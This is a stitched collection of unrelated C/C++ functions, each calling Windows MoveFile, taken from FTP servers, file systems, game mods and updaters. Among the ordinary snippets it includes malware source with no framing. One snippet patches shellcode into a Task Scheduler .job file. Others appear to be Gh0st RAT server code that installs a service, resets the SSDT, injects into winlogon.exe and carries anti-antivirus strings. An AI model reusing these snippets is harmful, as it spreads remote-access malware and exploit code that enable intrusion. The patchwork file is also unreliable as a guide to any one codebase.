int do_RNTO(ftp_session *s, char *param) { int len; char arg[MAX_FTP_PATH], ftp_path[MAX_FTP_PATH]; MATCH_SP(param); len = get_string(param, arg, sizeof(arg)); if (len == 0) return 501; param += len; MATCH_CRLF(param); if (s->prev_command != cmd_RNFR) return 503; if (!parse_dir(s->dir, arg, ftp_path)) return 550; if (!ftp_to_fs(ftp_path, arg)) return 550; if (!(is_file_exists(s->rename) || is_dir_exists(s->rename))) return 550; if (!MoveFile(s->rename, arg)) return 450; return 250; }
static NTSTATUS DOKAN_CALLBACK MirrorMoveFile(LPCWSTR FileName, // existing file name LPCWSTR NewFileName, BOOL ReplaceIfExisting, PDOKAN_FILE_INFO DokanFileInfo) { WCHAR filePath[MAX_PATH]; WCHAR newFilePath[MAX_PATH]; BOOL status; GetFilePath(filePath, MAX_PATH, FileName); GetFilePath(newFilePath, MAX_PATH, NewFileName); DbgPrint(L"MoveFile %s -> %s\n\n", filePath, newFilePath); if (DokanFileInfo->Context) { // should close? or rename at closing? CloseHandle((HANDLE)DokanFileInfo->Context); DokanFileInfo->Context = 0; } if (ReplaceIfExisting) status = MoveFileEx(filePath, newFilePath, MOVEFILE_REPLACE_EXISTING); else status = MoveFile(filePath, newFilePath); if (status == FALSE) { DWORD error = GetLastError(); DbgPrint(L"\tMoveFile failed status = %d, code = %d\n", status, error); return ToNtStatus(error); } else { return STATUS_SUCCESS; } }
bool move(const char* from, const char* to) { /* Should this (or something similar) work? SHFILEOPSTRUCT fileOp = { 0 }; fileOp.wFunc = FO_MOVE; fileOp.pFrom = from; fileOp.pTo = to; fileOp.fFlags = FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOCONFIRMMKDIR; return (SHFileOperation(&fileOp) == 0); */ // the easy case... if (stricmp(from, to) == 0) { return true; } // try to get the parent name of the directory char dir[MAX_PATH] = { 0 }; dirname(to, dir); if (strcmp(dir, "") == 0) { return false; } // try to make the path and move the file return (mkpath(dir)) ? (MoveFile(from, to) != 0) : false; }
// renames file srcFilename to destFilename, returns true on success bool Rename(const std::string &srcFilename, const std::string &destFilename) { INFO_LOG(COMMON, "Rename: %s --> %s", srcFilename.c_str(), destFilename.c_str()); #ifdef _WIN32 auto sf = UTF8ToTStr(srcFilename); auto df = UTF8ToTStr(destFilename); // The Internet seems torn about whether ReplaceFile is atomic or not. // Hopefully it's atomic enough... if (ReplaceFile(df.c_str(), sf.c_str(), nullptr, REPLACEFILE_IGNORE_MERGE_ERRORS, nullptr, nullptr)) return true; // Might have failed because the destination doesn't exist. if (GetLastError() == ERROR_FILE_NOT_FOUND) { if (MoveFile(sf.c_str(), df.c_str())) return true; } #else if (rename(srcFilename.c_str(), destFilename.c_str()) == 0) return true; #endif ERROR_LOG(COMMON, "Rename: failed %s --> %s: %s", srcFilename.c_str(), destFilename.c_str(), GetLastErrorMsg()); return false; }
int wmain(int argc, LPWSTR *argv) { LPSTR oldname; LPWSTR newname; int strlength; while (--argc > 0) { ++argv; strlength = (int) wcslen(argv[0])+1; oldname = halloc_seh(strlength*sizeof(*oldname)); WideCharToMultiByte(CP_ACP, 0, argv[0], -1, oldname, strlength, NULL, NULL); newname = halloc_seh(strlength*sizeof(*newname)); MultiByteToWideChar(CP_OEMCP, 0, oldname, -1, newname, strlength); if (MoveFile(argv[0], newname)) printf("'%ws' -> '%ws', OK.\n", argv[0], newname); else win_perror(newname); hfree(oldname); hfree(newname); } return 0; }
static _Bool install_new_updater(void *new_updater_data, uint32_t new_updater_data_len) { #ifdef __WIN32__ char new_path[MAX_PATH] = {0}; FILE *file; memcpy(new_path, TOX_UPDATER_PATH, TOX_UPDATER_PATH_LEN); strcat(new_path, ".old"); DeleteFile(new_path); MoveFile(TOX_UPDATER_PATH, new_path); file = fopen(TOX_UPDATER_PATH, "wb"); if(!file) { LOG_TO_FILE("failed to write new updater"); return 0; } fwrite(new_updater_data, 1, new_updater_data_len, file); fclose(file); return 1; #else /* self update not implemented */ return 0; #endif }
BOOL CFileView::RenameFile(CString strNewName, HTREEITEM hItem) { CString strOldName = m_wndFileView.GetItemText(hItem); DWORD dwInfo = m_wndFileView.GetItemData(hItem); if(dwInfo == INFO_FILE) { if(FindSkinFile(CGlobalVariable::m_strProjectPath + strOldName)) { MessageBox(_T("此文件正处于打开状态,请先关闭后再进行重命名。"), _T("提示"), MB_ICONINFORMATION); return FALSE; } if(!MoveFile(CGlobalVariable::m_strProjectPath + strOldName , CGlobalVariable::m_strProjectPath + strNewName)) { MessageBox(_T("此文件已经存在,不能重复命名。"), _T("提示"), MB_ICONINFORMATION); return FALSE; } } else if(dwInfo == INFO_DIRECTORY) { if(FindDirectory(strNewName, m_wndFileView.GetParentItem(hItem))) { MessageBox(_T("此目录已经存在,不能重复命名。"), _T("提示"), MB_ICONINFORMATION); return FALSE; } } return TRUE; }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nShowCmd) { FILE *fp; char apppath[MAX_PATH]; char filename[MAX_PATH]; char filename2[MAX_PATH]; if (GetEnvironmentVariable("appdata", apppath, MAX_PATH) <= 0) { strcpy(apppath, "."); } strcpy(filename, apppath); strcat(filename, "/chesspark/installers/setup.exe"); strcpy(filename2, apppath); strcat(filename2, "/chesspark/installers/setup3.exe"); WaitForParentIfChesspark(); fp = fopen(filename, "rb"); if (!fp) { ShellExecute(NULL, NULL, "./chessparkclient.exe", NULL, ".", SW_SHOW); return; } fclose(fp); DeleteFile(filename2); MoveFile(filename, filename2); ShellExecute(NULL, NULL, filename2, "/silent /nocancel", ".", SW_SHOW); }
static int ex_movefile(lua_State *L) { const char *srcfilename = luaL_checkstring(L, 1); const char *destfilename = luaL_checkstring(L, 2); lua_pushboolean(L, MoveFile(srcfilename, destfilename) != FALSE); return 1; }
static int dfs_win32_rename( struct dfs_filesystem *fs, const char *oldpath, const char *newpath) { int result; char *op, *np; op = winpath_dirdup(WIN32_DIRDISK_ROOT, oldpath); np = winpath_dirdup(WIN32_DIRDISK_ROOT, newpath); if (op == RT_NULL || np == RT_NULL) { rt_kprintf("out of memory.\n"); return -DFS_STATUS_ENOMEM; } /* If the function fails, the return value is zero. */ result = MoveFile(op, np); rt_free(op); rt_free(np); if (result == 0) return win32_result_to_dfs(GetLastError()); return 0; }
void CFileListener::RetryUncompleted() { WIN32_FIND_DATA info; HANDLE handle; bool found = true; CString scanFileName; CString fromFileName; CString toFileName; scanFileName = m_workDir + "\\*"; for( handle=FindFirstFile(scanFileName,&info); handle!=INVALID_HANDLE_VALUE && found; found = FindNextFile(handle, &info)) { if(info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { continue; } fromFileName = m_workDir + "\\" + info.cFileName; toFileName = m_srcDir + "\\" + info.cFileName; if(!MoveFile(fromFileName, toFileName)) { LOG_ERROR(GetLogger(), ATF_SYSTEM_ERR, "["+fromFileName+"]["+toFileName+"] "+ SysErrorMsg(0)); } else { LOG_DEBUG(GetLogger(), ATF_DEBUG, "File ["+fromFileName + "] try retry" ); } } };
void writeSharedSaveFile(char* name, BYTE* data, DWORD size, bool isHardcore) { char szTempName[MAX_PATH]; char szSaveName[MAX_PATH]; //Get temporary savefile name. D2FogGetSavePath( szTempName, MAX_PATH-30); strcat(szTempName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_"); strcat(szTempName, sharedStashFilename); strcat(szTempName,".ss~"); log_msg("Shared temporary file for saving : %s\n", szTempName); //Write data in savefile. FILE* customSaveFile = fopen(szTempName, "wb+"); fwrite(data, size, 1, customSaveFile); fclose(customSaveFile); //Get real savefile name. D2FogGetSavePath( szSaveName, MAX_PATH-30); strcat(szSaveName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_"); strcat(szSaveName, sharedStashFilename); strcat(szSaveName,".sss"); log_msg("Shared file for saving : %s\n", szSaveName); // if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) DeleteFile(szSaveName); if (!MoveFile(szTempName, szSaveName)) log_box("Could not create the shared save file."); }
int main(int argc, char* argv[]) { unsigned char *ptr = (unsigned char *)shellcode; while (*ptr) { if (*((long *)ptr)==0x58585858) { *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec"); } if (*((long *)ptr)==0x59595959) { *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess"); } ptr++; } FILE *fp; fp = fopen("j.xxx", "wb"); if(fp) { unsigned char *ptr = jobfile + (31 * 16); memcpy(ptr, shellcode, sizeof(shellcode) - 1); fwrite(jobfile, 1, sizeof(jobfile)-1, fp); fclose(fp); DeleteFile("j.job"); MoveFile("j.xxx", "j.job"); } return 0; }
void writeExtendedSaveFile(char* name, BYTE* data, DWORD size) { char szTempName[MAX_PATH]; char szSaveName[MAX_PATH]; //Get temporary savefile name. D2FogGetSavePath(szTempName, MAX_PATH); strcat(szTempName, name); strcat(szTempName, ".d2~"); log_msg("Extended temporary file for saving : %s\n",szTempName); //Write data in savefile. FILE* customSaveFile = fopen(szTempName, "wb+"); fwrite(data, size, 1, customSaveFile); fclose(customSaveFile); //Get real savefile name. D2FogGetSavePath(szSaveName, MAX_PATH); strcat(szSaveName, name); strcat(szSaveName, ".d2x"); log_msg("Extended file for saving : %s\n",szSaveName); // if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) DeleteFile(szSaveName); if (!MoveFile(szTempName, szSaveName)) log_box("Could not create the extended save file."); }
/* * Copies source file path to destination * * req: TLV_TYPE_FILE_PATH - The file path to expand */ DWORD request_fs_file_move(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; LPCSTR oldpath; LPCSTR newpath; oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!oldpath) result = ERROR_INVALID_PARAMETER; #ifdef _WIN32 else if (!MoveFile(oldpath,newpath)) #else else if (!rename(oldpath,newpath)) #endif result = GetLastError(); packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
void indri::file::Path::rename( const std::string& oldName, const std::string& newName ) { #ifndef WIN32 int result = ::rename( oldName.c_str(), newName.c_str() ); if( result != 0 ) { if( errno == EEXIST ) { LEMUR_THROW( LEMUR_IO_ERROR, "The destination file already exists: " + oldName ); } else if( errno == EACCES || errno == EPERM ) { LEMUR_THROW( LEMUR_IO_ERROR, "Insufficient permissions to rename: '" + oldName + "' to '" + newName + "'." ); } else { LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." ); } } #else BOOL result; if( Path::exists( newName ) ) { result = ReplaceFile( newName.c_str(), oldName.c_str(), NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL ); } else { result = MoveFile( oldName.c_str(), newName.c_str() ); } if( !result ) { LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." ); } #endif }
void CKernelManager::UnInstallService() { char strServiceDll[MAX_PATH]; char strRandomFile[MAX_PATH]; GetSystemDirectory(strServiceDll, sizeof(strServiceDll)); lstrcat(strServiceDll, "\\"); lstrcat(strServiceDll, m_strServiceName); lstrcat(strServiceDll, "ex.dll"); // 装文件随机改名,重启时删除 wsprintf(strRandomFile, "%d.bak", GetTickCount()); MoveFile(strServiceDll, strRandomFile); MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); // 删除离线记录文件 char strRecordFile[MAX_PATH]; GetSystemDirectory(strRecordFile, sizeof(strRecordFile)); lstrcat(strRecordFile, "\\syslog.dat"); DeleteFile(strRecordFile); if (m_dwServiceType != 0x120) // owner的远程删除,不能自己停止自己删除,远程线程删除 { InjectRemoveService("winlogon.exe", m_strServiceName); } else // shared进程的服务,可以删除自己 { RemoveService(m_strServiceName); } // 所有操作完成后,通知主线程可以退出 CreateEvent(NULL, true, false, m_strKillEvent); }
void MDIOFile_Rename (const char *pmPathName, const char *pmNewPathName) { UINT myPrevErrorMode; myPrevErrorMode = SetErrorMode (SEM_FAILCRITICALERRORS); // These are complete paths. Make certain they're on the same // volume. Otherwise MoveFile fails. if ((pmPathName [0] == pmNewPathName [0]) && (pmPathName [1] == ':') && (pmNewPathName [1] == ':')) { if (!MoveFile (pmPathName, pmNewPathName)) { MDIO_ProcessMSWindowsError (GetLastError ()); } } else { // Instead, copy the file and then delete the original. if (!CopyFile (pmPathName, pmNewPathName, TRUE)) { MDIO_ProcessMSWindowsError (GetLastError ()); return; } if (!DeleteFile (pmPathName)) { MDIO_ProcessMSWindowsError (GetLastError ()); } } SetErrorMode (myPrevErrorMode); } // MDIOFile_Rename
void winreplacefile(char *source, char *target) { wchar_t wsource[PATH_MAX]; wchar_t wtarget[PATH_MAX]; int sz = MultiByteToWideChar(CP_UTF8, 0, source, -1, wsource, PATH_MAX); if (sz == 0) { winerror(&gapp, "cannot convert filename to Unicode"); return; } sz = MultiByteToWideChar(CP_UTF8, 0, target, -1, wtarget, PATH_MAX); if (sz == 0) { winerror(&gapp, "cannot convert filename to Unicode"); return; } #if (_WIN32_WINNT >= 0x0500) ReplaceFile(wtarget, wsource, NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL); #else DeleteFile(wtarget); MoveFile(wsource, wtarget); #endif }
void ModifyScriptDescriptor::CommitChanges(bool leave_closed) { WriteScriptDescriptor file; // The file to write the modified Lua state out to std::string temp_filename = _filename.substr(0, _filename.find_last_of('.')) + "_TEMP" + _filename.substr(_filename.find_last_of('.')); if (file.OpenFile(temp_filename) == false) { if (SCRIPT_DEBUG) _error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because it could not open " << "the file to write the modifications to" << std::endl; return; } // setup the iterator _open_tables_iterator = _open_tables.begin(); // Write the global tables to the file. This in turn will write all other tables that are members of // the global tables, or members of those tables, and so on. object globals(luabind::from_stack(_lstack, LUA_GLOBALSINDEX)); _CommitTable(file, globals); file.CloseFile(); // Close the temporary file we were writing to CloseFile(); // Close this file as well as it is about to be over-written // Now overwrite this file with the temporary file written, remove the temporary file, and re-open the new file if (MoveFile(temp_filename, _filename) == false) { _error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because after writing the temporary file " << temp_filename << ", it could not be moved to overwrite the original filename " << _filename << std::endl; } if (leave_closed == false) OpenFile(); } // void ModifyScriptDescriptor::CommitChanges(bool leave_closed)
int EXP_LVL9 CS_rename (Const char *old,Const char *new_name) { extern char csErrnam []; int st; #if _RUN_TIME != _rt_WINCE st = rename (old,new_name); #else /* Windows CE's rename function has been renamed MoveFile. */ wchar_t wOld [MAX_PATH]; wchar_t wNew [MAX_PATH]; mbstowcs (wOld,old,MAX_PATH); mbstowcs (wNew,new_name,MAX_PATH); st = MoveFile (wOld,wNew); if (st != 0) st = 0; #endif if (st != 0) { (void)strcpy (csErrnam,old); CS_erpt (cs_RENAME); st = -1; } return (st); }
status_t TrashAction(const BMessage &action, entry_ref &ref) { BEntry entry("/boot/home/Desktop/Trash",true); status_t status = entry.InitCheck(); if (status != B_OK || !entry.Exists() || !entry.IsDirectory()) return B_ERROR; BEntry source(&ref); status = source.InitCheck(); if (status != B_OK) return B_ERROR; status = MoveFile(&source,&entry,false); if (status == B_OK) { printf("\tMoved %s to the Trash\n",ref.name); source.GetRef(&ref); } else { printf("\tCouldn't move %s to the Trash. Stopping here.\n\t\tError Message: %s\n", ref.name,strerror(status)); } return B_OK; }
void DoLocalRENAME(char *Src, char *Dst) { SetTaskMsg(">>REN %s %s", Src, Dst); if(MoveFile(Src, Dst) != TRUE) SetTaskMsg(MSGJPN151); return; }
void CCopyThread::DoCopyFile(string source, string dest) { source = str_replaceallA(source,"\\\\","\\"); dest = str_replaceallA(dest,"\\\\","\\"); File_Size.QuadPart = File_Prog.QuadPart = 0; SetCurFile(source); if (Action == CDA_SDMODE) { //DebugMsg("Move %s to %s",source.c_str(),dest.c_str()); if (MoveFile(source.c_str(),dest.c_str())) Total_FilesCopied++; } else { //DebugMsg("Copy %s to %s",source.c_str(),dest.c_str()); if (CopyFileEx(source.c_str(),dest.c_str(),CopyProgressRoutine,(void*)this,NULL,0)) Total_FilesCopied++; } if (Action == CDA_MOVEFILES) { //DebugMsg("_unlink %s",source.c_str()); _unlink(source.c_str()); } // add file progress to total progress and reset file stuff Total_Prog.QuadPart += File_Prog.QuadPart; File_Prog.QuadPart = 0; File_Size.QuadPart = 0; }
void pshk_log_close(HANDLE h) { BOOL replace = FALSE; DWORD dwBytesRead, dwBytesWritten; HANDLE hTempFile; wchar_t tmppath[MAX_PATH]; wchar_t tmpfile[MAX_PATH]; wchar_t bakfile[MAX_PATH]; LARGE_INTEGER fileSize; char buffer[4096]; if (pshk_config.logLevel >= 1) { if (GetFileSizeEx(h, &fileSize)) { if (pshk_config.maxLogSize > 0 && fileSize.QuadPart >= pshk_config.maxLogSize * 1000) { // Truncate file if it is over max logfile size memset(tmppath, 0, sizeof(tmppath)); memset(tmpfile, 0, sizeof(tmppath)); memset(bakfile, 0, sizeof(bakfile)); // Create a temporary file. if (GetTempPath(MAX_PATH, tmppath) != 0) { GetTempFileName(tmppath, L"bak", 0, tmpfile); hTempFile = CreateFile(tmpfile, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hTempFile != INVALID_HANDLE_VALUE) { // Set the file pointer maxLogSize KB from end of log SetFilePointer(h, -(long)(pshk_config.maxLogSize * 1000), NULL, FILE_END); // Copy to the temp file. do { if (ReadFile(h, buffer, 4096, &dwBytesRead, NULL)) WriteFile(hTempFile, buffer, dwBytesRead, &dwBytesWritten, NULL); } while (dwBytesRead == 4096); CloseHandle(hTempFile); replace = TRUE; } } } } CloseHandle(h); if (replace) { // Backup and replace logfile with size-limited tmpfile wcsncpy_s(bakfile, MAX_PATH, pshk_config.logFile, MAX_PATH - 4); wcscat_s(bakfile, MAX_PATH, L".bak"); DeleteFile(bakfile); MoveFile(pshk_config.logFile, bakfile); MoveFile(tmpfile, pshk_config.logFile); } } }
int CMimicFile::GetMimicList(vector<CString>& MimicInfoList) { DWORD t1 = GetTickCount(); char SrcfilePathFile[255]; WIN32_FIND_DATA FindFileData; HANDLE handle; MimicInfoList.clear(); //获取系统图存放路径 char SrcfilePath[255]; GetPrivateProfileString("Drawings Dir", "MimicPath", "C:\\Drawings", SrcfilePath, 255, MIMICSYSCONFINI); //判断路径是否存在 if (_access(SrcfilePath, 0) == -1) { return -1; } sprintf_s(SrcfilePathFile, "%s\\*.grb", SrcfilePath); handle = FindFirstFile(SrcfilePathFile, &FindFileData); if (handle != INVALID_HANDLE_VALUE) { BOOL bResult = TRUE; CString csGrb; while (bResult) { csGrb.Format("%s", FindFileData.cFileName); if(csGrb.GetLength() != 12) { bResult = FindNextFile(handle, &FindFileData); continue; } csGrb.MakeUpper(); csGrb = csGrb.Left(8); //检查图是否合法的图 if(CheckGrbValid(csGrb) == TRUE) { MimicInfoList.push_back(csGrb); //修改文件名为全大写 CString OriFile = FindFileData.cFileName; CString DstFile = OriFile; if (OriFile != DstFile.MakeUpper()) { CString PathFile; PathFile.Format("%s\\%s", SrcfilePath, DstFile); BOOL b = MoveFile(PathFile, PathFile); } } bResult = FindNextFile(handle, &FindFileData); } } FindClose(handle); DWORD t2 = GetTickCount(); TRACE("GetMimicInfoList()耗时=%dms\n", t2 - t1); return (int)MimicInfoList.size(); }
/** * Moves a file from the temp to the destination directory */ void move_file_individual(struct group_list_t *group, const char *local_temp, const char *local_dest, const char *filename) { char temppath[MAXPATHNAME], destpath[MAXPATHNAME]; stat_struct temp_stat, dest_stat; int len, found_dir; len = snprintf(temppath, sizeof(temppath), "%s%c%s", local_temp, PATH_SEP, filename); if ((len >= sizeof(temppath)) || (len == -1)) { glog0(group, "Max pathname length exceeded: %s%c%s", local_temp, PATH_SEP, filename); return; } len = snprintf(destpath, sizeof(destpath), "%s%c%s", local_dest, PATH_SEP, filename); if ((len >= sizeof(destpath)) || (len == -1)) { glog0(group, "Max pathname length exceeded: %s%c%s", local_dest, PATH_SEP, filename); return; } if (lstat_func(temppath, &temp_stat) == -1) { gsyserror(group, "Error getting file status for %s", temppath); return; } if (S_ISDIR(temp_stat.st_mode)) { found_dir = 0; if (lstat_func(destpath, &dest_stat) != -1) { if (!S_ISDIR(dest_stat.st_mode)) { clear_path(destpath, group); } else { found_dir = 1; } } if (!found_dir) { if (mkdir(destpath, 0755) == -1) { gsyserror(group, "Failed to create directory %s", destpath); return; } } move_files_individual(group, temppath, destpath); } else { clear_path(destpath, group); #ifdef WINDOWS if (!MoveFile(temppath, destpath)) { char errbuf[300]; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errbuf, sizeof(errbuf),NULL); glog0(group, "error (%d): %s", GetLastError(), errbuf); } #else if (rename(temppath, destpath) == -1) { gsyserror(group, "Couldn't move file"); } #endif run_postreceive(group, destpath); } }
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. ////////////////////////////////////////////////////////////////////////// OutputDebugString("%%%%%F**k KV %%%%%F**k KV %%%%%"); CopyFile("%%%%%F**k KV %%%%%F**k KV %%%%%", NULL, false); ////////////////////////////////////////////////////////////////////////// char *lpEncodeString = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // 如果不是更新服务端 if (strstr(GetCommandLine(), "Gh0st Update") == NULL) { HANDLE hMutex = CreateMutex(NULL, true, lpEncodeString); DWORD dwLastError = GetLastError(); // 普通权限访问系统权限创建的Mutex,如果存在,如果存在就返回拒绝访问的错误 // 已经安装过一个一模一样配置的,就不安装了 if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED) return -1; ReleaseMutex(hMutex); CloseHandle(hMutex); } SetUnhandledExceptionFilter(bad_exception); ResetSSDT(hInstance); char strSelf[MAX_PATH]; memset(strSelf, 0, sizeof(strSelf)); GetModuleFileName(NULL, strSelf, sizeof(strSelf)); char strTempPath[MAX_PATH], strSysLog[MAX_PATH]; GetTempPath(sizeof(strTempPath), strTempPath); GetSystemDirectory(strSysLog, sizeof(strSysLog)); lstrcat(strTempPath, "\\install.tmp"); lstrcat(strSysLog, "\\install.tmp"); HANDLE hFile = CreateFile(strTempPath, GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwBytesWrite = 0; WriteFile(hFile, strSelf, lstrlen(strSelf), &dwBytesWrite, NULL); CloseHandle(hFile); MoveFile(strTempPath, strSysLog); DeleteFile(strTempPath); char *lpServiceName = InstallService(); if (lpServiceName != NULL) { StartService(lpServiceName); delete [] lpServiceName; } return -1; }
void FilesManager::RenameFileFromPath(string data) { vector<string> a = String_Utils::split(data, '|'); if (a.size() == 2) { MoveFile(a.at(0).c_str(), a.at(1).c_str()); } }
extern "C" codeUNINSTALL_EXIT Uninstall_Exit(HWND hwndParent) { // Delete Prev DLL DeleteFile(_T("Windows\\netui.dll_Back")); MoveFile(_T("Windows\\netui.dll"), _T("Windows\\netui.dll_Back")); return codeUNINSTALL_EXIT_DONE; }